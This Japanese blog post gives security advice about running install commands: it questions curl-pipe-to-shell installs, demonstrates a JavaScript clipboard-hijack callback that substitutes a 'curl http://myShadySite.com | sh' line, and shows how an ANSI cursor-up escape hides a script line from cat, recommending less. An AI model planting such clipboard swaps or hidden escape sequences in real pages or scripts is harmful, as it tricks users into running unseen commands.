目次
コマンドを実行する際の心がけ
セキュリティは重要
たまに、公式ドキュメント側でcURLでインストール用のスクリプトの内容を取得し、その出力をBashスクリプトとしてそのまま評価する形のインストール手順を見ることがあります。例えば、以下のようなコマンドになります。実例としては、Node.jsのPOSIX準拠のパッケージマネージャである、nvmや、プログラミング言語で有名なRustなどがこのインストール形式をとっています。
https://github.com/nvm-sh/nvm?tab=readme-ov-file#install–update-script
curl -o- https://anysoftware.example.com/downloads/latest | bash
https://www.rust-lang.org/tools/install
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
しかし、個人的にはちょっと受け付けないです。運が悪いとインストールスクリプトは改ざんされていることもあります。ここでセキュリティの観点から、筆者がシステムに何かをインストールする際の心がけを紹介します。
- コマンドは考えなしにコピーペーストしない
- インストールコマンドの中身はcat(1)を使って確認せず、less(1)を使って確認する。
コマンドは考えなしにコピーペーストしない
コマンドは考えなしにコピー&ペーストするべきではないでしょう。
この記事は、JavaScriptのClipboard APIを悪用できてしまうという可能性を指摘した記事です。どういうことかというと、記事中に書いてあるコマンドをコピーする際に任意のコマンドにすげかえてしまうことができるということです。
たとえば、記事中にコマンドが記載されている要素に、以下のようなコールバック関数を仕込んでおきます。
function(e) {
e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://myShadySite.com | sh]"\n');
e.preventDefault();
}
そしてユーザーがコピーの操作を行うと発火するようにプログラミングし、実際にコピーされたと思っているコマンドをターミナルにペーストすると、以下のようになっています。私の環境では特に問題ありませんでしたが、最後に改行が入っているため、そのまま実行されてしまう可能性があります。
echo "this could have been [curl http://myShadySite.com | sh]"
ということで、コマンドはちゃんと何をやっているかを理解した上で、コピーペーストする際も几帳面になってなりすぎることはないということでした。
インストールコマンドの中身はcat(1)を使って確認しない
さて、今度はシェルスクリプトの中身を確認する手段としてcat(1)
を利用している場合は気を付けた方がよいという主張をします。筆者がその危険性に気づいたのは以下の投稿です。
terminal – How safe is it to cat an arbitrary file? – Unix & Linux Stack Exchange
質問者は、なんらかのファイルをcat
で表示したときに、そのターミナルの表示がめちゃくちゃになってしまった経験から、攻撃者は何らかの悪意あるコードの中身を、catのようなツールを通じて表示したとき、任意のコードを実行できてしまうファイルを理論上作ることはできるのか?と質問しています。
見えない文字列
ある回答者の回答では、cat
コマンドを使用することが直接の任意コード実行にはつながらない一方で、ユーザーがファイルの中身を確認するために使用した場合、悪意あるコードが混ざっていても気づけない可能性があることを指摘しています。
これがどういうことか、本節では、このようなコマンドを打って生成したdemo.sh
の実行結果を見たうえで、次にその中身について考えます。何やらいろいろ怪しい文字列が書いてあるのに注目です。
echo -e '#!/bin/sh\necho "...doing something bad here..."\nexit\n\033[2Aecho "Hello dear reader, I am just a harmless script, safe to run me!"' > demo.sh
とりあえず、catコマンドで中身を見てみます。一見無害なスクリプトであるように見えますが、2個目のecho
文の前の命令が、表示されていないことにお気づきでしょうか。
cat demo.sh
#!/bin/sh
echo "Hello dear reader, I am just a harmless script, safe to run me!"
このスクリプトに実行権限を付けて、実行してしまうと、以下のようになります。catで確認したシェルスクリプトの内容から全く想像もできない実行結果が表示されました。
chmod a+x demo.sh
./demo.sh
...doing something bad here...
なぜか?
cat
は1つ以上のファイルを連結して標準出力に出力するコマンドであり、標準出力先はシェルとつながっているので、catをたたけば内容はそのままターミナルに出力されます。そして、ターミナルは、ANSIエスケープシーケンスを含むバイトストリームを処理しようとします。これはcat
から吐き出された出力であっても同じようにそのまま処理してしまうため、このような結果となります。
ANSIエスケープシーケンスはエスケープ文字\033
(キャレット記法では^[
)と左括弧文字[
に続く文字の配列のことです。この後にはキーボードまたは表示機能を制御する具体的な、英数字コードや、;
で区切られた引数が来ます。たとえば、XTerm準拠のターミナルでvim
やtmux
が色付きで表示されるのは、こうしたターミナルがそのままANSIエスケープシーケンスを解釈するからです。
さて、先ほどのコマンドを見ていきます。具体的には\033[2A
の部分がアヤしい部分に当たります。このエスケープシーケンスの対応をASCII-Table.comで見てみましょう。
Esc[ValueA Cursor Up:
Moves the cursor up by the specified number of lines without changing columns. If the cursor is already on the top line, ANSI.SYS ignores this sequence.
列を変更せずに、指定された行数だけカーソルを上に移動します。カーソルがすでに最上行にある場合、ANSI.SYS はこのシーケンスを無視します。(注:筆者訳)
ということで、カーソルを操作するコマンドでした。そして、Valueの部分にある2は行数ということです。つまり、カーソルを2行上までもっていき、(そこに文字があろうとなかろうと上書きして)出力せよという趣の出力になります。
これは、catを使い渋る動機になると思います。
どうすればよいか
ということで筆者はless(1)
を使っています。もちろん、lessはcatより一文字タイプ数が多いので、コマンドを撃つのが面倒くさいと思う人もいるかもしれません。
しかし、lessはデフォルトでANSIエスケープシーケンスを可視の文字列として表示するため、テキストファイルの細工に気づきやすいです。たとえば以下のようなコマンドを入力しても、エスケープシーケンス部分がESC
という文字に置換されて表示されます。
echo -e "\e[31mfoo\e[0m" | less
# ESC[31mfooESC[0m
また、色々な操作を覚えればそれなりに複雑なこともできます。たとえば、開いているテキストファイルの範囲を指定してパイプに渡すこともできます。もし究めたければ、manを読むと良いでしょう。とはいえ、かなりハードルが高いので、逆に応用例からいろいろ見ていくといいと思います。最近読んだこの記事は面白かったです。
もちろん、オプションによって挙動を自由自在に変えることもできます。こちらも参考になるでしょう。
おわりに
ということで内容は以上です。この記事が役に立てば幸いです。
追記
サーバーのログファイルについても同様の注意が必要なことが分かりました。たとえば、Apache HTTP Serverのリファレンスには、生のサーバーログを閲覧する際のSecurity Warningとして、以下のようなことが書いてあります。
(…前略), log files may contain information supplied directly by the client, without escaping. Therefore, it is possible for malicious clients to insert control-characters in the log files, so care must be taken in dealing with raw logs.
ログファイルにはクライアントから提供された情報がエスケープなしで含まれていることがあります。したがって、悪意を持ったクライアントが制御文字をログファイルの中に挿入することが可能であり、生のログを取り扱うときには注意が必要です(筆者訳)。
コメント
コメントはありません。